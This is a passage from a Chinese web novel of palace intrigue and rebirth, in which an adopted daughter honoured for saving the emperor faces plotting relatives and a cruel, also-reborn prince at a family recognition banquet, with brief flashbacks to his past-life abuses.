可裴九卿这样的暴躁半残,却会顾及霜云身体,不让她行礼……
他,没当好哥哥吗?
沈墨言突然哑声,沉默好半晌,他干巴巴的道:“霜云她,她气量小,有点功愿意自己留着。”
“那就算了,反正我家有婉音,她那么懂事可爱,体贴孝顺。”
“她会记挂爹娘。”
说罢,没等沈霜云反应,转身走了。
背影,竟显得有些狼狈。
“呸,什么东西!”裴九卿朝他走的方向,啐了一口,旋即转身冲沈霜云,无比暴躁的骂,“你也把公府姑娘的气势抖出来。”
“那狗在你面前狂吠,你怎么就白白听着?”
“你踢他啊,你揍他啊,你骂他啊!”
“你跟老子学学,你蹦起来打他的头。”
沈霜云垂眸,心想:……
谁承认她是国公府的姑娘了?
“二弟,沈墨言是她兄长,沈家对她重恩。”
裴寂之淡声。
御前辩驳,只是辩清了沈霜云不曾抛家弃族,爱慕虚荣罢了,沈府对她的救命之恩,养育之情,仍旧存在。
沈府待她不好又怎样?
父子如君臣。
君要臣死,臣不得不死,父要子亡,子不得不亡。
沈府苛待沈霜云,旁人知晓,同情唏嘘,但霜云要真敢忤逆,骂得最狠的,也是他们。
子不言父过,那日,要不是沈婉音逼得太急,沈霜云自曝家丑,就够她名声扫地的了。
“哼!”
裴九卿咧嘴,没在言语。
——
裴寂之和裴九卿是来找裴贵妃的。
他们去了锦绣宫。
沈霜云没被沈墨言影响心情,让宫女扶着她,在宫道走了两个来回。
两刻钟后,她回到锦绣宫的西配殿,推门走进,入目!
裴寂之坐在上首,目光淡漠。
沈霜云一怔,“世子爷,您怎么在?”
她刚刚问候裴贵妃时,裴九卿已经走了。
“有话问你。”裴寂之沉声,目光落到她的脸上。
很苍白。
唇瓣也仅余淡淡的粉。
身上被衣裳撑起来的那点肉,如今全没了,甚至更削瘦些,尤其是腰身,不足一握。
刚刚,身高八尺的沈墨言站在她面前,对比剧烈的,仿佛推一下,就能将她刮倒。
但她腰背却挺得直。
“坐下回话吧。”
“是。”沈霜云坐下,目光直视他,“不知世子,有何话要问我?”
裴寂之沉默,片刻,恢复惯常的冷静,凛冽地看着她,突兀问道:“你习过武?”
沈霜云愕然,缓缓摇头,“不曾。”
“世子缘何这么问?”
穷从文,富从武,她在沈府,活着都难。
哪有条件习武?
“那日端午,你眼观六路,行动敏捷,不似寻常弱女子。”
沈霜云微微一愣,“世子这话什么意思?”
“陛下身侧侍卫,尽是大内好手,武艺非凡,猞猁扑下,他们都不曾反应过来。”
裴寂之顿声,薄唇抿起,“沈姑娘倒是手疾眼快,救驾之功,立得巧妙。”
沈霜云脸上微现迟疑,瞬间又恍然,“世子的意思,是在怀疑我吗?”
因为她救庆元帝,救得太快?
裴寂之,“猞猁不曾跃下,你已上前。”
余人,包括他,都没有反应过来。
这不合理。
沈霜云面无表情,许久,许久,突然笑了,“世子,救驾,应该不算错事吧,对国公府,应该也是功劳吧。”
“我身上的伤,同样不是假的,太医亲自诊治,医女亲手上药,不是我自己抓出的。”
“你怀疑我,怀疑什么?怀疑猞猁是我放进御花园的?还是我跟人合谋,刺杀万岁爷,想博救驾之功?”
“你也太看得起我了。”
裴寂之沉眉,目如深渊,“我查不出破绽,可确有疑点。”
沈府和楚清晏。
沈霜云和沈府。
两个姐妹!
苛待偏心,是真是假?
他蓦然起身,眉眼低垂,浓密睫毛掩住瞳孔,辩不出喜悲,语气却充满警告,“沈霜云,无论你和沈府关系如何,回镇国公府抱着怎样的想法。”
“你要把心放正。”
第34章 ‘热闹\’的百花宴开宴了
裴寂之一言说罢,转身就走。
沈霜云目送他,在他迈出门槛时,说道:“大哥,我是你的妹妹,不是你的仇人。”
“我的心很正。”
“仅为求生罢了。”
裴寂之身影微顿,头也没回,大步离开。
——
沈霜云又在宫中住了一日,太医检查,她已经没有大碍了。
裴贵妃命人把她送出宫去。
未婚姑娘,住在后宫太久,终是不好。
谢夫人亲自来接她,眉眼间又是关心,又是疼爱,“真的全好了?还疼不疼?”
“太医说没说,用不用在服些药?有没有忌口?”
“我给你备下了补品养身的膳食,咱们先吃上两个月,年纪轻轻的女孩子,可不能落下毛病。”
“母亲,我已经没事了。”
沈霜云笑应。
两人回到降云阁,谢夫人叮嘱她,“早晚不用到我院里来,好好休息,有事我会让照野来找你。”
“要不是寒声把他打发去迎临渊,他早跑来了。”
“父亲和三公子回来了?”沈霜云心中一悸。
“唉,陛下遇袭的事儿,寂之像是查到靖南王那里,你爹奉命巡视去了,只有临渊能回来。”
谢夫人轻声,深深蹙眉。
想起裴临渊的粗鲁脾气,跟九卿暴躁不同,临渊九岁入军营,十二岁杀人,十年征战,手上性命何止千万?
他又跟寒声格外亲近,寒声他……
霜云救驾后,谢夫人特意跟裴寒声商量,想着百花宴别办了,理由都替他找好,“霜云受伤,正该养着,别劳动她了,你想跟妹妹亲近,什么时候不行?”
台阶递得恰好。
裴寒声却不下,执意要办。
临渊写信回来,也是口口声声,会给‘新妹妹’好看,母亲等着瞧热闹就是!
沈霜云垂下眉。
谢夫人叹息,这样心思细腻的孩子,怎会察觉不到宴无好宴。
“没事,有我呢。”
她轻声。
沈霜云的眉头,一直没解开。
直到一天后,宫里传了圣旨过来。
谢夫人摆下香案,携全府参拜。
宣旨太监展开圣旨:
“奉天承运皇帝,诏曰:朕惟忠勇之士,国之栋梁;巾帼之英,世所罕有。兹有镇国公之女沈氏霜云,秉性贞刚,心怀赤诚,临危不乱,奋身救驾,护朕躬于危厄。其胆略过人,实乃闺阁之典范。”
“朕心甚慰,特颁恩赏,以彰其德。
“赐白银万两,五进宅邸一座,匾额御书‘忠勇流芳’,永彰殊荣。另赐宫缎五十匹,明珠一斛,金丝嵌宝凤钗,珍珠珊瑚花钿,赤金盘凤璎珞,增耀门楣,钦此。”
“沈姑娘,接旨吧。”
沈霜云跪地,恭敬叩首,“臣女接旨,谢陛下圣恩,陛下万岁万岁万万岁。”
谢夫人拿出早准备好的香囊,厚厚打赏了宣旨太监,将他们好生送走了,香案也撤下。
这才回身揽住沈霜云,连声喜道:“好好好,霜云,陛下传旨赞你‘忠勇’,这回好了,这回可好了!”
再不用担心。
寒声心思在多,临渊在莽撞,也不至于顶着圣喻吧!
谢夫人长长嘘出口气,转念又想起临渊一封比一封措辞严重的书信?
应该,应该不会吧?
她心里迟疑。
面上却没动声色,跟沈霜云一块,把圣旨请进镇国公府的祠堂,随后,送她回了院子。
降云阁上下,余有容焉。
桃心喜的见眉不见眼,“大姑娘,今儿是大喜的日子,奴婢替您好好庆祝庆祝吧,前儿二少爷送的鹿肉还有些,冻在冰库里,奴婢取了来,咱们烤了吃?”
“正好给您补补。”
“对对对,大姑娘这回救驾受了罪,得用些好的。”
“伤了元气呢。”
“咱们好生伺候姑娘。”
院里奴仆们,全都喜气洋洋。
沈霜云注意到,他们把对她的称呼,换成了‘大姑娘’。
这是觉得,她有了救驾之功后,在镇国公府立稳脚根,不会在被驱赶,被排斥了吗?
沈霜云原也这么想,可回忆起接到圣旨时,不经意抬眸,撞上裴寒声的目光。
他下颌绷得那么紧,桃花眼凝出冷意,翻涌着刻骨的恨。
那样冰冷,那么明显,霎时,沈霜云觉得周遭空气都跟着凝滞了。
她心中的不安,久久不能退。
“姑娘,大姑娘?”
桃核注意到她的恍惚,收敛喜意,小声提醒,“您可是不喜鹿肉?要不,奴婢换成獐子肉?”
“不必了。”沈霜云回神,“鹿肉就好,你吩咐厨房做了,大伙也沾沾我的喜气,降云阁上下,赏三个月的月俸。”
“多谢大姑娘恩典。”
院中奴仆大喜,连连道谢,一片喜庆吉祥的包围里。
沈霜云心神稍定。
救驾终归是大功,裴寒声应该会顾忌些吧?
——
百花宴转瞬即来。
沈霜云写下了两张请帖。
赠给赵家姐妹。
余者皆无。
然而,裴寒声却执意给她扬名,亲手写了帖子,邀请京城上下,几乎所有名门望户,宗室勋贵,裴临渊在百花宴的前两天,也回到京城。
他帮着呼朋唤友。
谢夫人告诉沈霜云,这次百花宴会,会有上百人参加。
亲王、郡王、公主、王妃、公爵、候爵,应有尽有。
比之前世沈婉音那场,还要盛大。
甚至,裴寒声亲手写了帖子,邀请沈家人前来参加。
沈家人欣然应允。
宴会当日,打扮得光鲜亮丽,前来赴约。
——
镇国公府是七进的院子,府里花园占了半条街。
园内,榴花照眼,荷风送香,太湖石叠成的假山间,流出一脉活水,泠泠注入白玉砌就的方塘。
百花宴,就办在此园。
因是百花宴,裴寒声特意寻来天下奇花,置在园中。
大如碗口的牡丹,国色天香;层层叠叠的姚黄魏紫、风中轻颤;芍药娇艳欲滴,金丝海棠垂枝如瀑,绿萼梅和墨菊点缀其中,更有价值连城的十八学士茶花,载在鎏金花盆里。
引得来往女眷们纷纷驻足,欣赏品评。
“四公子,为了我,你真是煞费苦心,我真是……”
“何德何能啊?”
看着满目奢华,宾客如云,沈霜云叹息苦笑。
第35章 我的霜云,好久不见~
满目奢华,看得沈霜云心里发苦。
“好孩子,没事的,有我在呢,来,跟我迎迎客人。”谢夫人握住她的手,安慰着她。
“大姐姐,笑一笑嘛,今天是你的好日子,咱们就高高昂头,挺胸直腰,飞扬跋扈,高贵优雅的劲儿,要摆起来,这才有‘雌雄双煞’亲姐姐的气派!”
裴照野一身红衣,丸子头梳成冲天辩,神气十足。
“对对对,霜云姐姐,我和照野陪着你,谁敢说你坏话,我俩就就打她。”
赵盈盈握着小拳头。
两人一左一右,陪在沈霜云身边,趾高气昂。
跟小螃蟹似的,横行霸道。
可爱极了。
沈霜云一直压抑的心情,都舒展不少,忍不住去摸他俩的小揪秋,又揽住裴照野的肩膀。
“大姐姐,不要把我当小孩子,我都说了,我是成熟的大人,大人!!”
“我马上要过九岁生日了。”
裴照野气恼,脸儿羞红一片,身子却老老实实没动。
赵盈盈斜眼瞅他,刮了刮脸道:“我已经九岁了,我比你大,叫盈盈姐姐!”
“你妄想!!”裴照野恼羞成怒。
“妄想也比你大七个月。”赵盈盈掐腰。
头上两个小花苞一甩一甩的。
“啊啊啊!”
小爷们在霸道,也敌不过岁月,裴照野气的去拽她头发。
赵盈盈歪脑袋避开他,笑嘻嘻冲他吐舌头。
谢夫人眉眼带笑,一手一个,揪住他们,“好了,这么多客人,你们不许胡闹,有点深沉。”
“好好陪着霜云,知道吗?”
“照野!”
“好嘛好嘛,我大人有大量,不跟你计较啦。”裴照野昂脖子哼一声,眼角余光瞅着沈霜云的表情。
嗯!大姐姐看起来,没有那么紧张了呀。
果然,小爷是最聪明的,插科打诨就是好用。
他得意的撇赵盈盈。
赵盈盈扬脖,眼神传递:光你一个人有什么用?没有我配合你行吗?我那么可爱,还能挽着霜云姐姐的胳膊,比你强多了。
两个小可爱,打着眉眼官司。
沈霜云也稳下心神,跟谢夫人一同,招待宾客。
——
花园角落。
裴寒声应酬楚清晏,安排晋王府众人落座后,揉着眉心,靠在假山上。
裴临渊侧脸看他,“老四,你怎么样?我看你好像很累。”
他是前天回京的,进宫给庆元帝问安后,就回到府里休息,也不曾见过沈霜云。
一个注定身败名裂的仇人,有什么可见的?
“三哥,我没事,就是有些头疼。”裴寒声沉声,嗓音沙哑。
昨夜,二哥跟他狠狠吵了一回,全然不赞同他今日举措,他怒极,斥责二哥忘记母仇。
二哥无言以对,沉默许久,说了句,“沈霜云刚刚救驾,陛下赞她‘忠勇’,老四,我也恨柳氏,可……”
可什么?
二哥没说。
裴寒声疲惫地阖眸,良久,突然问道:“三哥,你会帮我吧?”
“当然。”裴临渊郑重应允,日光下,右颊上那道一指长的,深可见骨的伤疤,狰狞恐惧。
“老四,我是个粗人,不像大哥和二哥,想得多,看得远,顾及那么多的屁事!”
他哼笑,伤疤扭曲,“我就知道,那沈霜云的存在,让你不痛快了,她那贱人姨娘,害死母亲。”
“老四,我必然帮你。”
裴寒声掩面,脸皮微微颤抖,眼角似有湿润。
他的鼻端,仿佛又嗅到了腐败的气味,记忆里,一方永远关严的窗户,闷热阴暗的房间,形如枯槁的母亲,靠在床头,瘦得像个骷髅。
她脸色惨白,声若游丝,一遍一遍说着,“寒声,别怕,娘没事,娘很快就会好起来的,到时候,娘在送你去学堂,你好好学,考举人,考状元,娘等着我的四儿,替我挣诰命。”
裴寒声一遍一遍地相信。
又一遍一遍的失望。
他束手无策地看着母亲,一点一点死去。
她活着腐烂。
这么多年了,裴寒声忘不了那股让人作呕的烂肉味道。
那是母亲受的刀伤,一直不好,永远半烂着。
是柳姨娘,是她用母亲挡刀。
“三哥,大哥和二哥不懂,他们没有陪着母亲,母亲见他们时,都强打精神,光鲜亮丽,只有我,只有我……”
“我一直看着她,她也一直看着我。”
裴寒声风流多情的桃花眼,一片通红。
“我懂,老四,三哥懂。”裴临渊搂住四弟的身体,连声道:“老大和老二不管,三哥帮你。”
“什么救驾?狗屁顾忌,三哥就知道,我弟弟难受。”
“我弟弟他难受。”
——
谢夫人带着一双儿女和赵盈盈,坐到主宾位置里。
沈霜云是今日认亲宴的主角,众人笑着推她坐主位。
“不敢,我一小辈,怎能居诸位夫人之上?”
沈霜云连连推辞,又谦让谢夫人,“还是母亲坐吧。”
谢夫人自然不会抢孩子的风头,谦恭礼让,最终,共推了一个年过八旬的宗室老王妃。
女眷们谈笑风生。
男宾们以晋王、英王等人为首,裴寂之坐陪。
小辈们围绕在楚清晏和裴九卿身边。
他们推举换盏。
楚清晏喝得白皙面容微红,眸里蒙上酒意,他目光追逐凝视着,女眷席里,仪态万千,清丽端庄的女子。
舌根发紧。
眼中迸发出誓在必得的光,他蓦然推开过来的巴结的人,矜持道:“我去换洗一番。”
旋即优雅起身,拦到沈霜云面前。
二十几岁的俊美小王爷,醉意染面,清俊无双。
仿佛世间万物,皆可为他所用,又皆可随手弃之。
淬了毒的温柔,令人不寒而栗。
“奴婢拜见世子。”
桃心福身行礼。
楚清晏瞳底浮出暴虐,重重凝视沈霜云,片刻,轻笑道:“霜云,好久不见。”
“小女眼拙,这位,嗯,世子是哪府贵人?”
沈霜云微微意外,迷茫又羞涩地问桃心。
心中,突生警惕。
好久不见?
今生,她跟楚清晏根本没照过面儿,何来‘好久’之说?
他又怎能直呼她名?
还用这样熟悉的语气?
这,这是怎么回事?
第36章 我那狼心狗肺的世子爷
柳树下。
沈霜云和楚清晏四目相对。
一个削瘦清丽,一个俊美无双,两两衬着,像画儿般美。
沈霜云心脏‘呯呯’乱跳。
“大姑娘,这位爷是晋王府的楚世子……”桃心小声提醒。
沈霜云恍然。
“原来是楚世子。”她敛身福身,眉眼间却有些不悦,“小女子有礼。”
仿佛不耐楚清晏的冒犯。
“沈姑娘不用客气,小王与你,虽是初见,却恍若旧识,说不定,你我是有前世的缘份。”
楚清晏淡笑,神态自如。
若有所指。
沈霜云柳眉攒着,惊怒交加,心中戒惧到达极点。
“楚世子慎言,我跟世子今日第一见面,说些什么混帐话?桃心,世子吃醉了酒。”
“我们快走。”
她挥袖离开。
十分符合一个,被已婚贵族纠缠的贵女模样。
桃心也慌了,匆忙屈礼告辞,转身跟着沈霜云跑了。
楚清晏静静她们的背影,神情讳莫高深,许久……
“因果循环有这般威力?我回来,诸事不变,却无心插柳到了大沈氏身上?”
“她,到成国公千金了。”他揶揄,掌心牢牢握住扇柄,“真是有趣。”
楚清晏笑吟吟,转身离开。
裴寂之寂寥视线追逐两人,神情浮出淡漠和讽刺。
沈霜云和楚清晏果然是有联系的,救驾之功,没有那么简单!
晋王府,皇商沈氏,沈婉音,厉王死党……
一条线,用沈霜云串起来的?
裴寂之眸光阴沉。
——
沈霜云脚步匆匆回到降云阁,打发桃心,避到屏风后换衣裳时。
她压住‘呯呯’乱跳的心脏。
“楚清晏也,也重生了!”
她眉心低垂,眸底爬上一丝痛苦。
前世在楚清晏那里受的屈辱和恐惧,她稍一回想,就觉得痛彻心肺。
前世,她被沈家献入晋王府,粉皮包袱,阴漏小屋,初次侍奉楚清晏,她被鞭打得皮开肉绽。
第二回,跟她同屋的侍妾,因为喊疼,在她面前,被楚清晏放狼狗,活活咬死。
楚清晏把那侍妾戴的戒指扔进湖里,笑吟吟地对她说:“小云儿,好姑娘,去吧,捞出来就放过你,捞不到的话,本王就在狗肚子里捞你了。”
沈霜云不会凫水,可那一刻,她毫不犹豫跳进湖里,呛了半死,捞到那枚戒指。
“好,好姑娘,好胆量,本王喜欢你。”楚清晏笑得像个文士,把狼狗宰了,邀沈霜云一同吃。
“本王爱食狗肉,小云儿,来陪本王。”
沈霜云心胆俱裂,强颜欢笑陪他,随后,高烧三日,回府求十两银子治病,遇见了三哥‘浪里飘银’!
晋王府中,这样的苦楚,数不胜数。
高门贵女,正妃侧妃,自是无事,可像沈霜云这样的侍妾通房,婢子小宠,一批一批的死。
鞭打致死,顶心刺针,谷道破裂,猛兽撕咬……
沈霜云战战兢兢,绞尽脑汁,曲意逢迎,终于得了楚清晏几分真心,不至于随手被拖出去打死……
她怀孕,生子,提携沈家人,楚清晏对她越来越好,但她始终忘不了死亡笼罩,触骨冰凉的感觉。
那个被十几条狼狗生撕入腹的侍妾,如今都会入她的梦。
“没事,要冷静,不要慌。”
沈霜云攥紧裙角,指节泛白,呼吸急促的胸口起伏。
“楚清晏刚刚,一定是在试探我。”
“我没有露出破绽,我,我现在是镇国公府的姑娘,我救了御驾,沈家人不能再把我当个物件一样,送入晋王府了。”
“他们不能。”
“谁都不能!”
她深深吸气,强迫自己松开裙角,指尖抚平衣褶,肩膀放松下来。
良久!
沈霜云睫毛掀起时,眼底慌乱褪去大半,恢复往日的沉静姿态。
她换好裙子,走出屏风。
这时,桃心急匆匆跑过来,喜上眉梢地喊,“大姑娘,快,陛下和贵妃娘娘微服出巡,来咱们府上了。”
“陛下御驾来了?”
沈霜云眼睛亮了,压下慌乱神思,她心中惊喜。
在宫中养伤的时候,她刻意跟御前的小太监,小宫女们交好,又在裴贵妃的贴身宫女流苏姑姑面前,引导了些似是而非的话。
今日果然有效果。
陛下来了!
“是啊,姑娘,御驾已经进府,夫人让您快去接驾呢。”
桃心连声。
一一
沈霜云和桃心匆匆回到园里。
彼时,微服出巡的庆元帝,已经带着裴贵妃坐下,正和晋王、庆王等人闲谈,一眼看见沈霜云,笑呵呵向她招手。
“这不是霜云吗?上前来。”
沈霜云深吸,稳住心神,上前行礼,目光落在庆元帝鼻梁的位置。
恭敬,不失礼数。
“臣女拜见陛下,陛下万岁万岁万万岁。”
“哈哈,自家晚辈,不必多礼了。”庆元帝笑着,上下打量她,语气关切,“朕看你的气色,比在宫里好了不少,这就放心了。”
“当日,你为朕挡那猞猁,可曾留了疤?”
“回陛下,托您和贵妃娘娘的福,太医用药妥当,没有大碍了。”
沈霜云微微含笑,神色舒缓。
陛下几番垂问,态度和蔼,周遭宗室们看在眼中,俱都围绕过来,众星捧月般夸赞着沈霜云。
裴寒声脸色铁青,咬牙切齿。
裴临渊也虎脸,用眼神询问弟弟,是否还要按着计划行事?
裴寒声沉默,片刻!
重重点头。
——
园内。
坐在角落的沈婉音,咬牙切齿。
看着沈霜云风光无限,坐到皇帝身边,她眼泪都快流出来了,又恼又恨,心里,隐隐还有些惧怕。
为什么会这样?
今日百花宴,应该是沈霜云出乖卖丑,颜面扫地的日子啊!
就像前世的她一样。
怎么会有皇帝来祝贺她?为何宗室们围绕她?
她凭什么那么风光?
裴寒声放弃杀母之仇了?他不敢对付沈霜云了?
那她为什么要放弃回国公府,把这样的富贵和风光,施舍给沈霜云啊!!要是她回去了,救驾的就是她,今日风光的也是她。
不公平,呜呜呜,不公平!!
陛下偏心,裴寒声偏心,镇国公府都偏心。
沈婉音眼窝泛红,呜声啜泣。
第37章 大哥说的就是真理
沈婉音的眼泪真的流下来了。
沈墨言注意到了,忙关心问道:“婉音,你怎么了?”
“大哥,姐姐,呜呜呜,姐姐她,她……”沈婉音哽咽,心里后怕地厉害,却也晓得,这些委屈没法跟哥哥们说。
他们哪里能理解,自己这个老天爷亲闺女的苦恼。
“姐姐不理咱们,她好过分,攀上了高枝儿,就把咱们抛到脑后了,呜呜呜,大哥,二哥,三哥,我替你们难过。”
“我替爹娘委屈。”
她捂着脸,梨花带雨。
沈墨言神情阴沉下来。
沈今安更是猛然拍桌子,气恼道:“我就说沈霜云是个白眼狼,可笑婉音还担心她的伤势,要带她进宫,简直是白费好心!”
“呸,区区一个救驾之功,也就是让她凑巧了,靠着三分蠢笨,五分鲁莽,两分不知所谓,才撞了‘救驾’的大运!”
“要是当时,大哥和婉音在场,哪里轮得到她?”
“小人得志就张狂,真是贱皮子~”
沈宁川却是拧眉。
沈霜云救驾有功,在裴寒声送请帖来时,沈家已经打听到了,只是没放在心上而已,但皇帝重要的啊!
沈宁川看庆元帝的神情脸色,不像婉音说的身受重伤的样子。
那世子还能入主东宫吗?
沈宁川满腹担忧。
沈今安却不像二哥想的那么多。
他!!
就是生气。
气沈霜云没像他想象的,奴颜婢膝地奉迎他,把他请入上座,替他介绍人脉。
他可是天生奇才,未来要做天下第一商的。
做生意,最需要人脉。
沈霜云怎么能无视他?
他可是她哥哥!
沈今安性情毛躁,格外自傲,是需要人捧哄的性格,幼时,沈婉音嘴甜会来事,讨他的欢心,被他捧在手心里,沈霜云却因嘴拙,被他狠狠整治过无数回。
记得有一次,他远游归来,婉音贴心,给他裁了新衣,霜云那个蠢货,只打了几条络子,他不屑要,随手赏给小厮,穿上婉音做的衣裳!
霜云却说:衣裳是她裁的,她缝的,只是,她没有银子,布匹是婉音买的。
这话是什么意思?
说他们沈府苛刻孤女吗?
小小年纪,心机深沉,沈今安气得够呛,嫌她丢人,直接把她拉到院中,泼了她一身的冷水,不许她换衣,罚足她站了两个时辰。
后来,听说是发了烧,还是爹爹请大夫过府,帮她医治的。
从那之后,沈霜云长了教训,对自己这个三哥,对沈府毕恭毕敬,在不敢说一句坏话,而且,因为爹爹救了她,她好像很感恩。
养女嘛,就要这么教训,就像训狗。
至于婉音,她是妹妹,嘴甜讨喜,天真可爱,自然不一样。
沈霜云回到国公府后的种种作为,就让沈今安很气愤了,尤其是御前应答,狠狠落了他们沈府的面子。
闹得他们家好像虐待养女,靠她沈霜云捞好处似的!
“那个贱婢,攀附权贵,舔国公府脚皮,舔的姓什么都忘了,真以为自己是千金小姐了,哼,国公府把她当成小丑一样的玩意儿。”
“连姓都没改!”
沈今安咬牙,转头低声,“婉音,你也是国公府的姑娘,比霜云好上千万倍,你过去,显一显你的口才本事。”
“也让陛下和镇国公府的人长长见识,明白什么叫丢了西瓜,捡了芝麻。”
“三哥哥~”沈婉音恍若未闻。
她还没有后怕的情绪里走出来呢。
“三弟,霜云在不懂事,也是咱们的妹妹,怎么能叫她贱婢?”沈墨言轻斥,神色复杂。
他心里很难受。
他们来参加百花宴,是给了霜云天大的面子,替她撑腰,可霜云呢,一点都不领情,不曾迎接他们,不曾感恩戴德。
枉费他前些日子,居然真的觉得,自己对婉音和霜云区别对待,甚至产生了些许内疚。
错了!!
当真错了。
区别对待又如何?
霜云和婉音,本就是天差地别。
那个狼心狗肺,不尊兄长的东西,哪值得他一片真心啊!
沈墨言即气沈霜云的无情,又心疼沈婉音的眼泪,转头去哄妹妹。
“好婉音,你先别哭,就霜云那样粗鄙不堪,胸无点墨的女子,就算有一时风光,也是德不配位,大哥断言,她肯定没有好结果。”
“大哥说的就是真理,听话,擦了眼泪啊。”
沈婉音恍若未闻,目光呆呆地注视着一个方向。
沈墨言不解,视线追逐。
就见妹妹所看的地方——假山石处,站着两个破衣烂衫,形容猥琐的老夫妻。
“婉音,你看什么呢?”
“我,我……”沈婉音眼睛圆睁,沉默片刻,转身抓住沈墨言的胳膊,喜及而泣,“大哥,你说得太对了,德不配位,果然是要遭报应的。”
“我就说,我就说嘛!”
沈霜云哪配有如此风光?
她沈婉音才是老天爷的亲闺女呢。
柳家那两个老贱人来了,前世,她受的罪,沈霜云要百倍千倍地偿还。
这才公平!
沈婉音红着眼圈儿,狠狠瞪向裴寒声和裴临渊。
那就是两个恶鬼!
前世,百花宴里,她最得意,最风光的时候,裴寒声把柳家两个老贱人带出来,把她打落云头。
她不愿承认,怒骂裴寒声撒谎,又说白夫人是自己命薄病死的,跟她没关系!
裴临渊鞭打她!!
她是个姑娘家啊,还叫他‘三哥哥’,送他亲手缝制的荷包。
她都这么讨好了,裴临渊怎么舍得打她?
沈婉音想到那些事,委屈的眼窝都是酸的,幸好,今生这些苦痛,那些鞭子,都不会是她受着。
轮到沈霜云了!
她兴奋着,眼睛发亮,“大哥,三哥,你们不用生气,正所谓:天道好轮回,苍天饶过谁,姐姐这么势利眼,她会遭报应的。”
“有道是:误欺少年穷,哥哥们,你们都是天纵奇才,裴家这些人算什么?你们早晚会比他们厉害十倍百倍!”
“你们等着,我去替你们打探。”
说罢,也不理会哥哥们的反应,起身,莲步款款,来到楚清晏身侧,她简直迫不及待要看到沈霜云落魄的下场了。
第38章 霜云不愧是本王的女人
楚清晏悠然坐在花园里,修长的手指,漫不经心的摩挲着玉板指,目光像黏腻的蛛网,缠在远处的沈霜云身上。
他眼里翻涌着毫不掩饰的占有欲和……
一抹意料之外的喜色。
刚刚试探一番,霜云和婉音的变化,应该是被他的重生影响了,霜云不愧是他的女人,比婉音要强上不少。
她有救驾之功。
在国公府,也比婉音混得开。
这对他很有用。
重生归来,他会比前世更快的登上皇位,霜云和婉音都是他的助力。
楚清晏眸里流转着野心。
他把玩扇子。
这时,沈婉音莲步款款,走到他身侧,跪坐下来,娇滴滴喊着,“爷~”
婉转含媚的声调,含满春情的眼波,让想拦她的婢女一怔,垂手退下。
楚清晏收回神思,勾唇一笑,扇子轻挑的抬她下巴。
“小婉儿,来找爷何事?”
“爷,奴奴心里委屈,来找爷诉诉苦呀。”沈婉音娇怯,我见尤怜的嘟唇。
楚清晏挑眉,“哦?”
“怎么说?”
“今天,姐姐她好风光啊,陛下都来参加她的认亲宴了,那些王爷、公主都围着她,可是奴奴呢?”沈婉音轻泣,柔软的身子,贴进楚清晏怀里,她道:“奴奴也是镇国公府的千金小姐,跟姐姐的待遇,却是天差地别。”
“奴奴没有姐姐那么深的城府,不会巧言令色,讨家人喜欢,只会蠢蠢付出,傻傻委屈。”
“只有在爷面前,奴奴才能诉几句心酸。”
“奴奴知晓,爷会心疼奴奴的。”
世子爷对沈霜云那贱人有想法,他的眼神,一直追逐着那个贱人。
沈婉音断得清清楚楚。
女人的直觉不会错的,但,世子爷是她的,太子妃的位置也是她的,她绝对不允许沈霜云破坏。
她要世子爷看清那贱人的丑恶面目,一会儿,那贱人陨落的时候,她也要缠住世子,不能让他怜惜沈霜云。
那贱人,别想借此巴上来。
“小婉儿也想认回裴家去?”楚清晏掐住她的下巴,眼里浮出嗜血的渴望。
眼前樱粉柔嫩的红唇,让他心中升出破坏的欲望。
他想撕碎她。
但……
沈家有用。
沈墨言天生将才,足以代替裴维,替他镇守边关。
沈宁川风流蕴藉,丝毫不亚于裴九卿,是宰相之姿。
沈今安精明强干,经商手段通天达地,日进斗金,是他的钱袋子。
沈万里老成持重,颇有大局观,算他智囊之一。
沈氏,满门皆是豪杰,与之他,就像镇国公府与之皇伯父。
楚清晏含笑,压下心头暴虐,他道:“小婉儿若想回这府里,做千金小姐,小王可以帮帮你!”
“不要不要,奴奴舍不得爷!”沈婉音连忙拒绝,"爷,您不知道,您在奴奴心里有多重要。"
“凡有一丝一毫,失去陪伴爷的可能,莫说是当国公府的小姐,就是当公主郡主,奴奴都不愿意!”
“这么爱慕爷吗?”楚清晏含笑。
“嗯,爷就是奴奴的命。”沈婉音柔声,心中得意:看她多会说话,不得把世子爷感动死?哈哈,日后,世子爷做太子,做皇帝,她毋庸置疑会是继后。
如今,就等着世子妃死了。
“好,爷领情。”
楚清晏握住她的腰,轻描淡写地想。
沈家姐妹,各有各的好处,小霜儿善解人意,是他的解语花,他舍不得下狠手,正好小婉儿来了。
一模一样。
倒是方便。
——
百花宴。
既然称为‘认亲’,最终自然是要把沈霜云的名字,写入裴氏祖谱,让她认谱归宗的。
执笔之人,本应是镇国公裴维,他也是裴氏族长,但裴维身背公职,回不了京,执笔之人换成了世子裴寂之。
裴氏族佬请开祠堂。
庆元帝和众多贵嫔,笑着旁观。
礼堂门前,裴九卿和裴临渊径自进门,准备请出祖谱。
沈霜云敛身,站在人群中央,裴照野和赵盈盈,分立两边陪着,都笑眉笑眼,活泼可爱。
一切看着,都那么顺利。
谢夫人心里,突然生出一股忐忑。
她回头,刚想把沈霜云叫到身边,突然,人群里发生‘哗然’声。
“好臭!”
“这是什么味道?”
“来人啊!”
公主和贵女们掩鼻后退,面露嫌恶,人堆里分出条显眼的‘甬道’,一对儿披头散发,破衣烂衫的老夫妻,互相扶持走上前。
“翠枝儿,我的女儿啊,你好不孝顺,自己白眼狼一个,害死主母,连累家里,生下的女儿也随了你的根儿,都是畜生啊,呜呜呜!”
“沈霜云,你是叫沈霜云对吧?我们是你外公外婆,你个狼心狗肺,不认亲眷的禽兽啊,你风风光光,大鱼大肉,安享富贵,我和你外婆尚街乞讨,你舅舅姨母都饿死了!”
“你咋有良心,光鲜亮丽的,想要认祖归宗啊。”
“你作孽啊,你丧良心啊。”
老夫妻踉跄扑向沈霜云,一副赖狗抢食的模样。
他们发丝打结,恶臭扑鼻。
来了!
沈霜云攒眉。
心里一直提着的石头,终于落地,竟没觉得慌,反而踏实了点。
“霜云!”
谢夫人心慌意急,上前拉她。
“你们是什么人?离小爷的姐姐远点!”裴照野瞪眼睛,一个纵步,小小的身体护在沈霜云身前,抽出马鞭,大声喝道:“侍卫呢?都瞎了不成?”
“拦住他们!”
府内侍卫缩肩,窝囊地把目光投向裴临渊。
裴临渊抱着膀儿,咧嘴大笑,脸上伤疤扭曲。
侍卫们没动。
柳家老夫妻不敢面对裴照野的马鞭,一味绕过他,用布满脏垢的手,去拽沈霜云的衣袖,口口‘不孝’,‘脏心烂肺’之言,不绝于耳。
